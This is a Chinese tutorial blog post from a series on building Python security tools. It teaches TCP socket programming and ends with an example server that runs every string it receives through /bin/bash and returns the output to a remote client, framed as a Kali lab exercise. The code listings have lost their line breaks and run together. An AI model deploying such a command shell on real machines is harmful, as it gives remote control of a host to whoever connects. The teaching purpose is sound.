python安全工具开发笔记(四)——python网络编程

一、C/S架构

什么是C/S架构
C : Client S : Server。客户机和服务器结构。
Server 唯一的目的就是等待Client 的请求,Client 连上 Server 发送必要的数据,然后等待Server端完成请求的反馈。

C/S网络编程
Server端进行设置,首先创建一个通信端点,让Server端能够监听请求,之后就进入等待和处理Client请求的无限循环中。
Client编程相对Server端编程简单,只要创建一个通信端点,建立到服务器的连接,就可以提出请求了。

二、套接字 - 通信端点

套接字是一种具有之前所说的“通信端点”概念的计算机网络数据结构。网络化的应用程序在开始任何通讯之前都必须创建套接字。

Python支持: AF_UNIX,AF_NETLINK和AF_INET,其中AF_INET是基于网络的套接字。

三、Python网络编程

Python网络编程- socket模块

socket模块的socket()函数用来创建套接字

使用socket.socket()函数来创建套接字,方法如下∶
socket(socket family,socket_type,protocol=0)

创建一个TCP/IP套接字,方法如下:
tcpsock = socket(socket.AF INET,socket.SOCK_STREAM)

四、套接字对象方法

服务端套接字函数
函数描述
s.bind()绑定地址(主机,端口)道套接字
s.listen()开始TCP监听
s.accept()被动接受TCP客户端连接,(阻塞式)等待连接的到来
客户端套接字函数
函数描述
s.connect()主动初始化TCP服务器连接
s.connect_ex()Connect函数的扩展版本,出错时返回错误代码,而不是抛出异常
套接字对象方法
函数描述
s.recv()接受TCP数据
s.send()发送TCP数据
s.sendall()完整发送TCP数据
s.recvfrom()接受UDP数据
s.sendto()发送UDP数据
s.getpeemame()连接到当前套接字的远端地址
s.getsockname()当前套接字的地址
s.getsockopt()返回指定套接字的参数
s.setsockopt()设置指定套接字的参数
s.close()关闭套接字

五、Python网络编程实例

1、创建一个TCP服务器

ss = socket() #创建服务器套接字
ss.bind() #把地址绑定到套接字上
ss.listen() #监听连接
inf loop; #服务器无限循环
cs = ss.accept() #接受客户端连接
cmmon loop: #通信循环
cs.recv()/cs.send() #对话(接受与发送)
cs.close() #关闭客户端套接字

2、创建一个TCP客户端
cs.socket() #创建客户端套接字
cs.connect() #尝试连接套接字
common loop: #通信循环
cs.recv()/cs.send() #对话(接受与发送)
cs.close() #关闭客户端套接字

示例一:

服务端代码:

#创建服务端
from socket import *
from time import ctimeHOST = ''
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpServer = socket(AF_INET,SOCK_STREAM)#创建服务器套接字
tcpServer.bind(ADDR)#把地址绑定到套接字上
tcpServer.listen(5)#监听连接#接收客户端发出的请求
while True:print ('waiting for connection...')tcpClient,addr = tcpServer.accept()#被动接收TCP客户端连接,(阻塞式)等待连接的到来print('..connection from:',addr)
#相当于完成了服务器无限循环,接收客户端连接while True:data = tcpClient.recv(BUFSIZE).decode()#对话(接收余发送)if not data:break#结束循环sc = ctime()+datatcpClient.send(sc.encode())#输出当前的tcpClient.close()#关闭连接
tcpServer.close()#关闭连接

客户端代码:

#创建客户端
from socket import *
import timeHOST = '192.168.23.128'
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)#与服务端交互
while True:data = input('~:')if not data:breaktcpClient.send(data.encode())#向服务端发送数据data = tcpClient.recv(BUFSIZE).decode()if not data:breakprint (data)tcpClient.close()#客户端关闭

将服务端代码放在kali中运行,将客户端代码放在物理机运行,成功运行
在这里插入图片描述
示例二:
实际应用不会这么简单,如果想反弹一个shell
服务端代码:

#创建服务端
from socket import *
from time import ctime
from subprocess import Popen,PIPEHOST = ''
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpServer = socket(AF_INET,SOCK_STREAM)#创建服务器套接字
tcpServer.bind(ADDR)#把地址绑定到套接字上
tcpServer.listen(5)#监听连接#接收客户端发出的请求
while True:print ('waiting for connection...')tcpClient,addr = tcpServer.accept()#被动接收TCP客户端连接,(阻塞式)等待连接的到来print('..connection from:',addr)
#相当于完成了服务器无限循环,接收客户端连接while True:data = tcpClient.recv(BUFSIZE).decode()#对话(接收余发送)if not data:break#结束循环cmd = Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)tcpClient.send(cmd.stdout.read())#输出当前的tcpClient.close()#关闭连接
tcpServer.close()#关闭连接

客户端代码:

#创建客户端
from socket import *
import timeHOST = '192.168.23.128'
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)#与服务端交互
while True:data = input('~:')if not data:breaktcpClient.send(data.encode())#向服务端发送数据data = tcpClient.recv(BUFSIZE).decode()if not data:breakprint (data)tcpClient.close()#客户端关闭

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/89597.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【unity2023打包安卓工程】踩坑记录

这里写自定义目录标题 踩坑记录使用环境Unity的准备工作Windows10 SDKAndroidstudio第一个需要注意的地方第二个需要注意的地方第三个需要注意的地方第四个需要注意的地方第五个需要注意的地方第六个需要注意的 其他unity启动缓慢 更新更新一 2023.9.27 踩坑记录 踩了快一个星期…

codesys【虚轴】

1概述:codesys里有3个轴: 自由编码器,虚轴,实轴。 流程:【高速输入:采集AB脉冲】带》【自由编码器】带》【虚轴】带》【实轴】 1虚轴: 用法和实轴一样。 一般用于,一拖多。 2编…

GEO生信数据挖掘(二)下载基因芯片平台文件及注释

检索到目标数据集后,开始数据挖掘,本文以阿尔兹海默症数据集GSE1297为例 目录 下载平台文件 1.AnnotGPL参数改为TRUE,联网下载芯片平台的soft文件。(国内网速奇慢经常中断) 2.手工去GEO官网下载 转换芯片探针ID为gene name 拓…

u盘初始化后怎么恢复文件?这几步操作帮你找回

随着科技的进步和便携设备的普及,U盘已经成为我们日常工作和生活中不可缺少的存储介质。然而,在使用U盘的过程中,我们可能会遇到各种问题,其中之一就是意外的初始化导致文件丢失。本文将为大家介绍如何在U盘初始化后恢复文件的方法…

Jenkins学习笔记4

配置构建流程: Jenkins任务创建: 1)创建新任务: 把这个Accept first connection改成 No Validation。问题得到解决。 说明下,要确认下主分支的名称是master还是main。 构建触发器这块暂时没有需要配置的。 传输文件…

【yolov1】详解yolov1理论 代码

目标检测要解决的3大问题: 1、有没有? 图片中是否有要检测的物体?(检测物体,判定前景背景) 2、是什么? 这些物体分别是什么?(检测到的物体是什么) 3、在…

vuereact质检工具(eslint)安装使用总结

1、ESLint ESLint工具主要类似java中的checkStyle和findbugs,是检查代码样式和逻辑规范的工具。 1.1、ESLint安装流程 打开VSCode软件,打开扩展中心,下载ESLint插件 图1.1 点击后面的install按进行安装,如图1.2所示&#xff1…

单元测试

一、什么是单元测试 二、Junit单元测试框架 三、如何使用Junit单元测试框架 package study.StringUtils;public class StringUtil {public static void printNumber(String name){if (namenull){System.out.println ("名字的长度是:0");return;}System.ou…

性能测试监控-java分析工具Arthas

Arthas监控docker中的jvm_ray_my的博客-CSDN博客 Quick Start | arthas arthas是什么 Arthas是阿里巴巴开源的Java诊断工具,它可以帮助开发人员快速、方便地定位和解决Java应用的问题。 Arthas主要包括以下功能: 诊断Java应用中的性能问题&#xff…

天眼查询企业信息API接口

"天眼"一般是指"天眼查",这是一个提供全国企业信息查询的API接口。天眼查以"天眼"作为用户logo,基于人工智能算法的数据采集和分析技术,为企业和个人提供全量、精准、实时、权威的企业信息查询服务。 天眼查A…

国产5G手机20天销量不及苹果一天,被iPhone15按在地上摩擦

iPhone15的上市销售,最大竞争对手无疑是国产5G手机,如今iPhone15上市首日的销量数据也已经出炉,高达200万台,这比国产5G手机卖20天的销量还要多,iPhone15让国产手机领教了什么叫遥遥领先。 据了解苹果对iPhone15的预期…

第十四届蓝桥杯大赛软件赛决赛 C/C++ 大学 B 组 试题 A: 子 2023

[蓝桥杯 2023 国 B] 子 2023 试题 A: 子 2023 【问题描述】 小蓝在黑板上连续写下从 1 1 1 到 2023 2023 2023 之间所有的整数,得到了一个数字序列: S 12345678910111213 ⋯ 20222023 S 12345678910111213\cdots 20222023 S12345678910111213⋯2…

[React] React高阶组件(HOC)

文章目录 1.Hoc介绍2.几种包装强化组件的方式2.1 mixin模式2.2 extends继承模式2.3 HOC模式2.4 自定义hooks模式 3.高阶组件产生初衷4.高阶组件使用和编写结构4.1 装饰器模式和函数包裹模式4.2 嵌套HOC 5.两种不同的高阶组件5.1 正向的属性代理5.2 反向的继承 6.如何编写高阶组…

第5章 网络编程

5.1 OSI模型有哪几层?以及各自的作用 难度:★ 重点:★ 白话解析 无它,唯记尔;实在记不住也需要有个印象。 参考答案 OSI(Open System Interconnection):开放式系统互联参考模型。它分为7层,自顶而下分别是:应用层、表示层、会话层、传输层、网络层、数据链路层和物…

【数据结构与算法】 - 时间复杂度和空间复杂度、二分查找、线性查找

数据结构与算法 1. 数据结构的定义2. 二分查找2.1 二分查找的定义2.2 二分查找分析2.3 二分查找实现2.4 二分查找算法图解2.5 二分算法引发的问题2.6 二分算法改良版2.7 二分算法改良版解析2.8 二分算法改良版图解2.9 二分算法改良版注意事项 3. 时间复杂度3.1 时间复杂度的概念…

【c语言中数组和指针的联系】

C语言中的数组和指针之间存在紧密的联系,因为数组名本质上就是指向数组首元素的指针。这种联系使得在处理数组时可以像处理指针一样操作,同时也使得数组和指针可以互相转换。 下面详细说明数组和指针之间的联系,并提供一些示例来演示这种联系…

LeetCode算法二叉树—226. 翻转二叉树

目录 226. 翻转二叉树 代码: 运行结果: 给你一棵二叉树的根节点 root ,翻转这棵二叉树,并返回其根节点。 示例 1: 输入:root [4,2,7,1,3,6,9] 输出:[4,7,2,9,6,3,1]示例 2: 输入…

OpenCV读取图像时按照BGR的顺序HWC排列,PyTorch按照RGB的顺序CHW排列

OpenCV读取RGB图像 在OpenCV中,读取的图片默认是HWC格式,即按照高度、宽度和通道数的顺序排列图像尺寸的格式。我们看最后一个维度是C,因此最小颗粒度是C。 例如,一张形状为2562563的RGB图像,在OpenCV中读取后的格式…

IDEA 启动 java web 老项目

背景:一套 java web 老代码,使用 eclipse 工具开发。内网,无 eclipse 开发工具,只有 IDEA。 代码目录结构如下: demo/.settings/* demo/src/com/demo/controller/* demo/webapp/js/* demo/webapp/jsp/* demo/webapp/M…

MySQL学习笔记18

MySQL的备份与恢复: 制定数据库备份策略进行备份,并且把数据导入到测试环境。 核心技术: 1)掌握MySQL的备份工具使用及各自特点; 2)熟悉Shell脚本; 3)熟悉MySQL数据的导入导出&a…